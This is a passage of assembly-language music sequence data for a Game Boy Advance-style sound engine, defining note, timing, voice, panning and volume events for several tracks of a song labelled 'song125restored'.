---------------------------------------- .byte W96 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W28 .byte N11 , Cn3 , v044 .byte W12 .byte Cn3 , v012 .byte W12 .byte N11 .byte W12 .byte Cn3 , v052 .byte W12 .byte Cn3 , v024 .byte W12 .byte N11 .byte W08 ; 006 ---------------------------------------- @song125restored_2_006: .byte W04 .byte N11 , Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W08 .byte PEND ; 007 ---------------------------------------- @song125restored_2_007: .byte W04 .byte N11 , Cn3 , v084 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W08 .byte PEND ; 008 ---------------------------------------- @song125restored_2_008: .byte W04 .byte N11 , Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W08 .byte PEND ; 009 ---------------------------------------- .byte PATT .word @song125restored_2_006 ; 010 ---------------------------------------- .byte PATT .word @song125restored_2_007 ; 011 ---------------------------------------- .byte PATT .word @song125restored_2_008 ; 012 ---------------------------------------- .byte PATT .word @song125restored_2_006 ; 013 ---------------------------------------- .byte PATT .word @song125restored_2_007 ; 014 ---------------------------------------- .byte PATT .word @song125restored_2_008 ; 015 ---------------------------------------- .byte PATT .word @song125restored_2_006 ; 016 ---------------------------------------- .byte PATT .word @song125restored_2_007 ; 017 ---------------------------------------- .byte PATT .word @song125restored_2_008 ; 018 ---------------------------------------- .byte PATT .word @song125restored_2_006 ; 019 ---------------------------------------- .byte PATT .word @song125restored_2_007 ; 020 ---------------------------------------- .byte PATT .word @song125restored_2_008 ; 021 ---------------------------------------- .byte PATT .word @song125restored_2_006 ; 022 ---------------------------------------- .byte PATT .word @song125restored_2_007 ; 023 ---------------------------------------- .byte PATT .word @song125restored_2_008 ; 024 ---------------------------------------- .byte W04 .byte N11 , Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W16 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W04 ; 025 ---------------------------------------- @song125restored_2_025: .byte W08 .byte N11 , Cn3 , v084 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W04 .byte PEND ; 026 ---------------------------------------- @song125restored_2_026: .byte W08 .byte N11 , Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W04 .byte PEND ; 027 ---------------------------------------- @song125restored_2_027: .byte W08 .byte N11 , Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W04 .byte PEND ; 028 ---------------------------------------- .byte PATT .word @song125restored_2_025 ; 029 ---------------------------------------- .byte PATT .word @song125restored_2_026 ; 030 ---------------------------------------- .byte PATT .word @song125restored_2_027 ; 031 ---------------------------------------- .byte PATT .word @song125restored_2_025 ; 032 ---------------------------------------- .byte PATT .word @song125restored_2_026 ; 033 ---------------------------------------- .byte PATT .word @song125restored_2_027 ; 034 ---------------------------------------- .byte PATT .word @song125restored_2_025 ; 035 ---------------------------------------- .byte PATT .word @song125restored_2_026 ; 036 ---------------------------------------- .byte PATT .word @song125restored_2_027 ; 037 ---------------------------------------- .byte PATT .word @song125restored_2_025 ; 038 ---------------------------------------- .byte PATT .word @song125restored_2_026 ; 039 ---------------------------------------- .byte PATT .word @song125restored_2_027 ; 040 ---------------------------------------- .byte PATT .word @song125restored_2_025 ; 041 ---------------------------------------- .byte PATT .word @song125restored_2_026 ; 042 ---------------------------------------- .byte PATT .word @song125restored_2_027 ; 043 ---------------------------------------- .byte PATT .word @song125restored_2_025 ; 044 ---------------------------------------- .byte PATT .word @song125restored_2_026 ; 045 ---------------------------------------- .byte PATT .word @song125restored_2_027 ; 046 ---------------------------------------- .byte PATT .word @song125restored_2_025 ; 047 ---------------------------------------- .byte PATT .word @song125restored_2_026 ; 048 ---------------------------------------- .byte PATT .word @song125restored_2_027 ; 049 ---------------------------------------- .byte W08 .byte N11 , Cn3 , v084 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W60 .byte W03 .byte VOICE , 41 .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 050 ---------------------------------------- .byte VOICE , 41 .byte BENDR , 12 .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song125restored_2 ;**************** Track 3 (Midi-Chn.3) ****************; @song125restored_3: .byte KEYSH , song125restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 27 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte BEND , c_v+0 .byte N21 , Cn2 , v120 .byte W24 .byte N10 , Cs2 .byte W12 .byte N21 , Gs2 .byte W24 .byte N10 , Gn2 .byte W12 .byte N21 , Fn2 .byte W24 ; 001 ---------------------------------------- @song125restored_3_001: .byte N02 , Fn2 , v120 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N32 , Fn2 .byte W36 .byte N21 , Cn2 .byte W24 .byte N10 , Cs2 .byte W12 .byte N21 , Gs2 .byte W12 .byte PEND ; 002 ---------------------------------------- @song125restored_3_002: .byte W12 .byte N10 , Gn2 , v120 .byte W12 .byte N21 , Fn2 .byte W24 .byte N02 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N10 , Fn2 .byte W12 .byte Gn2 .byte W12 .byte Gs2 .byte W12 .byte PEND ; 003 ---------------------------------------- .byte N64 , Ds2 .byte W84 .byte VOICE , 8 .byte PAN , c_v+31 .byte N06 , Cs4 .byte W12 ; 004 ---------------------------------------- .byte Cn5 .byte W12 .byte Gs4 .byte W12 .byte Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn4 .byte W12 .byte As3 .byte W12 .byte Gs3 .byte W12 .byte Ds3 .byte W12 ; 005 ---------------------------------------- .byte Cs3 .byte W12 .byte Cn4 .byte W12 .byte Cs3 .byte W12 .byte Ds3 .byte W12 .byte Fn3 .byte W12 .byte Gs3 .byte W12 .byte As3 .byte W12 .byte Ds3 .byte W12 ; 006 ---------------------------------------- .byte VOICE , 27 .byte PAN , c_v-1 .byte N21 , Cn2 .byte W24 .byte N10 , Cs2 .byte W12 .byte N21 , Gs2 .byte W24 .byte N10 , Gn2 .byte W12 .byte N21 , Fn2 .byte W24 ; 007 ---------------------------------------- .byte PATT .word @song125restored_3_001 ; 008 ---------------------------------------- .byte PATT .word @song125restored_3_002 ; 009 ---------------------------------------- .byte N32 , As2 , v120 .byte W36 .byte N92 , Cn3 .byte W60 ; 010 ---------------------------------------- .byte W48 .byte VOICE , 8 .byte PAN , c_v+31 .byte N06 , Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn5 .byte W12 .byte As4 .byte W12 ; 011 ---------------------------------------- .byte Gs4 .byte W12 .byte Gn4 .byte W12 .byte Fn4 .byte W12 .byte Gn4 .byte W12 .byte Fn4 .byte W12 .byte VOICE , 27 .byte PAN , c_v-1 .byte N11 , Ds1 .byte W12 .byte Fn1 .byte W12 .byte Gn1 .byte W12 ; 012 ---------------------------------------- @song125restored_3_012: .byte N32 , Gs1 , v120 .byte W36 .byte Ds2 .byte W36 .byte Cs2 .byte W24 .byte PEND ; 013 ---------------------------------------- @song125restored_3_013: .byte W12 .byte N21 , Fs2 , v120 .byte W24 .byte N05 , Fn2 .byte W06 .byte En2 .byte W06 .byte N32 , Ds2 .byte W36 .byte Gs2 .byte W12 .byte PEND ; 014 ---------------------------------------- @song125restored_3_014: .byte W24 .byte N05 , En2 , v120 .byte W06 .byte Ds2 .byte W06 .byte En2 .byte W06 .byte Fs2 .byte W06 .byte Gs2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte Cs3 .byte W06 .byte Ds3 .byte W06 .byte En3 .byte W06 .byte PEND ; 015 ---------------------------------------- .byte N32 , Ds3 .byte W36 .byte Cs3 .byte W36 .byte As2 .byte W24 ; 016 ---------------------------------------- .byte W12 .byte N21 , Gn2 .byte W24 .byte N10 , En2 .byte W12 .byte N32 , Ds2 .byte W36 .byte Cs2 .byte W12 ; 017 ---------------------------------------- .byte W24 .byte As1 .byte W36 .byte N05 , Cs1 .byte W06 .byte Dn1 .byte W06 .byte Ds1 .byte W06 .byte En1 .byte W06 .byte Fs1 .byte W06 .byte Gn1 .byte W06 ; 018 ---------------------------------------- .byte PATT .word @song125restored_3_012 ; 019 ---------------------------------------- .byte PATT .word @song125restored_3_013 ; 020 ---------------------------------------- .byte PATT .word @song125restored_3_014 ; 021 ---------------------------------------- .byte N05 , En2 , v120 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 ; 022 ---------------------------------------- .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 ; 023 ---------------------------------------- .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte N21 , Gn1 .byte W36 ; 024 ---------------------------------------- .byte W76 .byte Cn2 .byte W20 ; 025 ---------------------------------------- @song125restored_3_025: .byte W04 .byte N10 , Cs2 , v120 .byte W12 .byte N21 , Gs2 .byte W24 .byte N10 , Gn2 .byte W12 .byte N21 , Fn2 .byte W24 .byte N02 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N32 , Fn2 .byte W08 .byte PEND ; 026 ---------------------------------------- @song125restored_3_026: .byte W28 .byte N21 , Cn2 , v120 .byte W24 .byte N10 , Cs2 .byte W12 .byte N21 , Gs2 .byte W24 .byte N10 , Gn2 .byte W08 .byte PEND ; 027 ---------------------------------------- .byte W04 .byte N21 , Fn2 .byte W24 .byte N02 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N10 , Fn2 .byte W12 .byte Gn2 .byte W12 .byte Gs2 .byte W12 .byte N64 , Ds2 .byte W20 ; 028 ---------------------------------------- .byte W60 .byte W03 .byte VOICE , 8 .byte W01 .byte PAN , c_v+31 .byte N06 , Cs4 .byte W12 .byte Cn5 .byte W12 .byte Gs4 .byte W08 ; 029 ---------------------------------------- .byte W04 .byte Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn4 .byte W12 .byte As3 .byte W12 .byte Gs3 .byte W12 .byte Ds3 .byte W12 .byte Cs3 .byte W12 .byte Cn4 .byte W08 ; 030 ---------------------------------------- .byte W04 .byte Cs3 .byte W12 .byte Ds3 .byte W12 .byte Fn3 .byte W12 .byte Gs3 .byte W12 .byte As3 .byte W12 .byte Ds3 .byte W11 .byte VOICE , 27 .byte W01 .byte PAN , c_v-1 .byte N21 , Cn2 .byte W20 ; 031 ---------------------------------------- .byte PATT .word @song125restored_3_025 ; 032 ---------------------------------------- .byte PATT .word @song125restored_3_026 ; 033 ---------------------------------------- .byte W04 .byte N21 , Fn2 , v120 .byte W24 .byte N02 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N10 , Fn2 .byte W12 .byte Gn2 .byte W12 .byte Gs2 .byte W12 .byte N32 , As2 .byte W20 ; 034 ---------------------------------------- .byte W16 .byte N92 , Cn3 .byte W80 ; 035 ---------------------------------------- .byte W24 .byte W03 .byte VOICE , 8 .byte W01 .byte PAN , c_v+31 .byte N06 , Ds4 .byte W12 .byte Cs4 .byte W12 .byte Cn5 .byte W12 .byte As4 .byte W12 .byte Gs4 .byte W12 .byte Gn4 .byte W08 ; 036 ---------------------------------------- .byte W04 .byte Fn4 .byte W12 .byte Gn4 .byte W12 .byte Fn4 .byte W11 .byte VOICE , 27 .byte W01 .byte PAN , c_v-1 .byte N11 , Ds1 .byte W12 .byte Fn1 .byte W12 .byte Gn1 .byte W12 .byte N32 , Gs1 .byte W20 ; 037 ---------------------------------------- @song125restored_3_037: .byte W16 .byte N32 , Ds2 , v120 .byte W36 .byte Cs2 .byte W36 .byte N21 , Fs2 .byte W08 .byte PEND ; 038 ---------------------------------------- @song125restored_3_038: .byte W16 .byte N05 , Fn2 , v120 .byte W06 .byte En2 .byte W06 .byte N32 , Ds2 .byte W36 .byte Gs2 .byte W32 .byte PEND ; 039 ---------------------------------------- .byte W04 .byte N05 , En2 .byte W06 .byte Ds2 .byte W06 .byte En2 .byte W06 .byte Fs2 .byte W06 .byte Gs2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte Cs3 .byte W06 .byte Ds3 .byte W06 .byte En3 .byte W06 .byte N32 , Ds3 .byte W20 ; 040 ---------------------------------------- .byte W16 .byte Cs3 .byte W36 .byte As2 .byte W36 .byte N21 , Gn2 .byte W08 ; 041 ---------------------------------------- .byte W16 .byte N10 , En2 .byte W12 .byte N32 , Ds2 .byte W36 .byte Cs2 .byte W32 ; 042 ---------------------------------------- .byte W04 .byte As1 .byte W36 .byte N05 , Cs1 .byte W06 .byte Dn1 .byte W06 .byte Ds1 .byte W06 .byte En1 .byte W06 .byte Fs1 .byte W06 .byte Gn1 .byte W06 .byte N32 , Gs1 .byte W20 ; 043 ---------------------------------------- .byte PATT .word @song125restored_3_037 ; 044 ---------------------------------------- .byte PATT .word @song125restored_3_038 ; 045 ---------------------------------------- .byte W04 .byte N05 , En2 , v120 .byte W06 .byte Ds2 .byte W06 .byte En2 .byte W06 .byte Fs2 .byte W06 .byte Gs2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte As2 .byte W06 .byte Bn2 .byte W06 .byte Cs3 .byte W06 .byte Ds3 .byte W06 .byte En3 .byte W06 .byte En2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Gn2 .byte W02 ; 046 ---------------------------------------- .byte W04 .byte Ds2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Cs2 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte Bn1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W02 ; 047 ---------------------------------------- .byte W04 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte As1 .byte W06 .byte Gn2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gs1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W06 .byte Gn1 .byte W06 .byte Ds2 .byte W02 ; 048 ---------------------------------------- .byte W04 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte Fn1 .byte W06 .byte Ds2 .byte W06 .byte N21 , Gn1 .byte W56 ; 049 ---------------------------------------- .byte W92 .byte W03 .byte VOICE , 27 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte BEND , c_v+0 .byte W01 ; 050 ---------------------------------------- .byte VOICE , 27 .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 43*song125restored_mvl/mxv .byte MOD , 0 .byte BEND , c_v+0 .byte GOTO .word @song125restored_3 ;**************** Track 4 (Midi-Chn.4) ****************; @song125restored_4: .byte KEYSH , song125restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 0 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte BEND , c_v+0 .byte N21 , Cs2 , v127 .byte W24 .byte N10 , Gs2 .byte W12 .byte N32 , Ds3 .byte W36 .byte N21 , Cs2 .byte W24 ; 001 ---------------------------------------- @song125restored_4_001: .byte N10 , Gs2 , v127 .byte W12 .byte N21 , Fn3 .byte W24 .byte N10 , Cs3 .byte W12 .byte N21 , Cs2 .byte W24 .byte N10 , Gs2 .byte W12 .byte N32 , Ds3 .byte W12 .byte PEND ; 002 ---------------------------------------- @song125restored_4_002: .byte W24 .byte N21 , Cs2 , v127 .byte W24 .byte N10 , Gs2 .byte W12 .byte Cs3 .byte W12 .byte Ds3 .byte W12 .byte Fn3 .byte W12 .byte PEND ; 003 ---------------------------------------- @song125restored_4_003: .byte N21 , Gs1 , v127 .byte W24 .byte N10 , Ds2 .byte W12 .byte N32 , As2 .byte W36 .byte N21 , Gs1 .byte W24 .byte PEND ; 004 ---------------------------------------- @song125restored_4_004: .byte N10 , Ds2 , v127 .byte W12 .byte N21 , Cn3 .byte W24 .byte N10 , Gs2 .byte W12 .byte N21 , Gs1 .byte W24 .byte N10 , Ds2 .byte W12 .byte N32 , As2 .byte W12 .byte PEND ; 005 ---------------------------------------- @song125restored_4_005: .byte W24 .byte N21 , Gs1 , v127 .byte W24 .byte N10 , Ds2 .byte W12 .byte N32 , Cn3 .byte W36 .byte PEND ; 006 ---------------------------------------- .byte N21 , Cs2 .byte W24 .byte N10 , Gs2 .byte W12 .byte N32 , Ds3 .byte W36 .byte N21 , Cs2 .byte W24 ; 007 ---------------------------------------- .byte PATT .word @song125restored_4_001 ; 008 ---------------------------------------- .byte PATT .word @song125restored_4_002 ; 009 ---------------------------------------- .byte PATT .word @song125restored_4_003 ; 010 ---------------------------------------- .byte PATT .word @song125restored_4_004 ; 011 ---------------------------------------- .byte PATT .word @song125restored_4_005 ; 012 ---------------------------------------- .byte N16 , En2 , v127 .byte W24 .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte Gs2 .byte W12 .byte N16 , En2 .byte W24 ; 013 ---------------------------------------- .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte Gs2 .byte W12 .byte N16 , En2 .byte W24 .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W12 ; 014 ---------------------------------------- .byte Bn2 .byte W12 .byte Gs2 .byte W12 .byte N16 , En2 .byte W24 .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte Gs2 .byte W12 ; 015 ---------------------------------------- .byte N06 , Ds2 .byte W12 .byte As2 .byte W12 .byte N10 , Ds3 .byte W12 .byte En3 .byte W12 .byte Ds3 .byte W12 .byte As2 .byte W12 .byte N06 , Ds2 .byte W12 .byte As2 .byte W12 ; 016 ---------------------------------------- .byte N10 , Ds3 .byte W12 .byte En3 .byte W12 .byte Ds3 .byte W12 .byte As2 .byte W12 .byte N06 , Ds2 .byte W12 .byte As2 .byte W12 .byte N10 , Ds3 .byte W12 .byte En3 .byte W12 ; 017 ---------------------------------------- .byte Ds3 .byte W12 .byte As2 .byte W12 .byte N06 , Ds2 .byte W12 .byte As2 .byte W12 .byte N10 , Ds3 .byte W12 .byte En3 .byte W12 .byte Ds3 .byte W12 .byte As2 .byte W12 ; 018 ---------------------------------------- .byte N16 , En2 .byte W24 .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte As2 .byte W12 .byte N16 , En2 .byte W24 ; 019 ---------------------------------------- .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte As2 .byte W12 .byte N16 , En2 .byte W24 .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W12 ; 020 ---------------------------------------- .byte Bn2 .byte W12 .byte As2 .byte W12 .byte N16 , En2 .byte W24 .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte As2 .byte W12 ; 021 ---------------------------------------- @song125restored_4_021: .byte N06 , Ds2 , v127 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte PEND ; 022 ---------------------------------------- .byte PATT .word @song125restored_4_021 ; 023 ---------------------------------------- .byte N06 , Ds2 , v127 .byte W12 .byte N06 .byte W12 .byte N32 .byte W36 .byte Ds3 .byte W36 ; 024 ---------------------------------------- .byte W76 .byte N21 , Cs2 .byte W20 ; 025 ---------------------------------------- @song125restored_4_025: .byte W04 .byte N10 , Gs2 , v127 .byte W12 .byte N32 , Ds3 .byte W36 .byte N21 , Cs2 .byte W24 .byte N10 , Gs2 .byte W12 .byte N21 , Fn3 .byte W08 .byte PEND ; 026 ---------------------------------------- @song125restored_4_026: .byte W16 .byte N10 , Cs3 , v127 .byte W12 .byte N21 , Cs2 .byte W24 .byte N10 , Gs2 .byte W12 .byte N32 , Ds3 .byte W32 .byte PEND ; 027 ---------------------------------------- @song125restored_4_027: .byte W04 .byte N21 , Cs2 , v127 .byte W24 .byte N10 , Gs2 .byte W12 .byte Cs3 .byte W12 .byte Ds3 .byte W12 .byte Fn3 .byte W12 .byte N21 , Gs1 .byte W20 .byte PEND ; 028 ---------------------------------------- @song125restored_4_028: .byte W04 .byte N10 , Ds2 , v127 .byte W12 .byte N32 , As2 .byte W36 .byte N21 , Gs1 .byte W24 .byte N10 , Ds2 .byte W12 .byte N21 , Cn3 .byte W08 .byte PEND ; 029 ---------------------------------------- @song125restored_4_029: .byte W16 .byte N10 , Gs2 , v127 .byte W12 .byte N21 , Gs1 .byte W24 .byte N10 , Ds2 .byte W12 .byte N32 , As2 .byte W32 .byte PEND ; 030 ---------------------------------------- .byte W04 .byte N21 , Gs1 .byte W24 .byte N10 , Ds2 .byte W12 .byte N32 , Cn3 .byte W36 .byte N21 , Cs2 .byte W20 ; 031 ---------------------------------------- .byte PATT .word @song125restored_4_025 ; 032 ---------------------------------------- .byte PATT .word @song125restored_4_026 ; 033 ---------------------------------------- .byte PATT .word @song125restored_4_027 ; 034 ---------------------------------------- .byte PATT .word @song125restored_4_028 ; 035 ---------------------------------------- .byte PATT .word @song125restored_4_029 ; 036 ---------------------------------------- .byte W04 .byte N21 , Gs1 , v127 .byte W24 .byte N10 , Ds2 .byte W12 .byte N32 , Cn3 .byte W36 .byte N16 , En2 .byte W20 ; 037 ---------------------------------------- .byte W04 .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte Gs2 .byte W12 .byte N16 , En2 .byte W24 .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W08 ; 038 ---------------------------------------- .byte W04 .byte Bn2 .byte W12 .byte Gs2 .byte W12 .byte N16 , En2 .byte W24 .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte Gs2 .byte W08 ; 039 ---------------------------------------- .byte W04 .byte N16 , En2 .byte W24 .byte N08 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte Gs2 .byte W12 .byte N06 , Ds2 .byte W12 .byte As2 .byte W08 ; 040 ---------------------------------------- .byte W04 .byte N10 , Ds3 .byte W12 .byte En3 .byte W12 .byte Ds3 .byte W12 .byte As2 .byte W12 .byte N06 , Ds2 .byte W12 .byte As2 .byte W12 .byte N10 , Ds3 .byte W12 .byte En3 .byte W08 ; 041 ---------------------------------------- .byte W04 .byte Ds3 .byte W12 .byte As2 .byte W12 .byte N06 , Ds2 .byte W12 .byte As2 .byte W12 .byte N10 , Ds3 .byte W12 .byte En3 .byte W12 .byte Ds3 .byte W12 .byte As2 .byte W08 ; 042 ---------------------------------------- .byte W04 .byte N06 , Ds2 .byte W12 .byte As2 .byte W12 .byte N10 , Ds3 .byte W12 .byte En3 .byte W12 .byte Ds3 .byte W12 .byte As2 .byte W12 .byte N16 , En2 .byte W20 ; 043 ---------------------------------------- .byte W04 .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte As2 .byte W12 .byte N16 , En2 .byte W24 .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W08 ; 044 ---------------------------------------- .byte W04 .byte Bn2 .byte W12 .byte As2 .byte W12 .byte N16 , En2 .byte W24 .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte As2 .byte W08 ; 045 ---------------------------------------- .byte W04 .byte N16 , En2 .byte W24 .byte N10 , Gs2 .byte W12 .byte Ds3 .byte W12 .byte Bn2 .byte W12 .byte As2 .byte W12 .byte N06 , Ds2 .byte W12 .byte N06 .byte W08 ; 046 ---------------------------------------- @song125restored_4_046: .byte W04 .byte N06 , Ds2 , v127 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W12 .byte N06 .byte W08 .byte PEND ; 047 ---------------------------------------- .byte PATT .word @song125restored_4_046 ; 048 ---------------------------------------- .byte W04 .byte N32 , Ds2 , v127 .byte W36 .byte Ds3 .byte W56 ; 049 ---------------------------------------- .byte W92 .byte W03 .byte VOICE , 0 .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 050 ---------------------------------------- .byte VOICE , 0 .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-1 .byte VOL , 34*song125restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song125restored_4 ;**************** Track 5 (Midi-Chn.5) ****************; @song125restored_5: .byte KEYSH , song125restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 27 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte MOD , 0 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte MOD , 0 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+50 .byte VOL , 21*song125restored_mvl/mxv .byte MOD , 0 .byte BEND , c_v+0 .byte W18 .byte N21 , Cn2 , v120 .byte W24 .byte N10 , Cs2 .byte W12 .byte N21 , Gs2 .byte W24 .byte N10 , Gn2 .byte W12 .byte N21 , Fn2 .byte W06 ; 001 ---------------------------------------- @song125restored_5_001: .byte W18 .byte N02 , Fn2 , v120 .byte W03 .byte Gn2 .byte W03 .byte Fn2 .byte W03 .byte Ds2 .byte W03 .byte N32 , Fn2 .byte W36 .byte N21 , Cn2 .byte W24 .byte N10 , Cs2 .byte W06 .byte PEND ; 002 ---------------------------------------- @song125restored_5_002: .byte W06 .byte N21 , Gs2 , v120 .byte W24 .byte N10 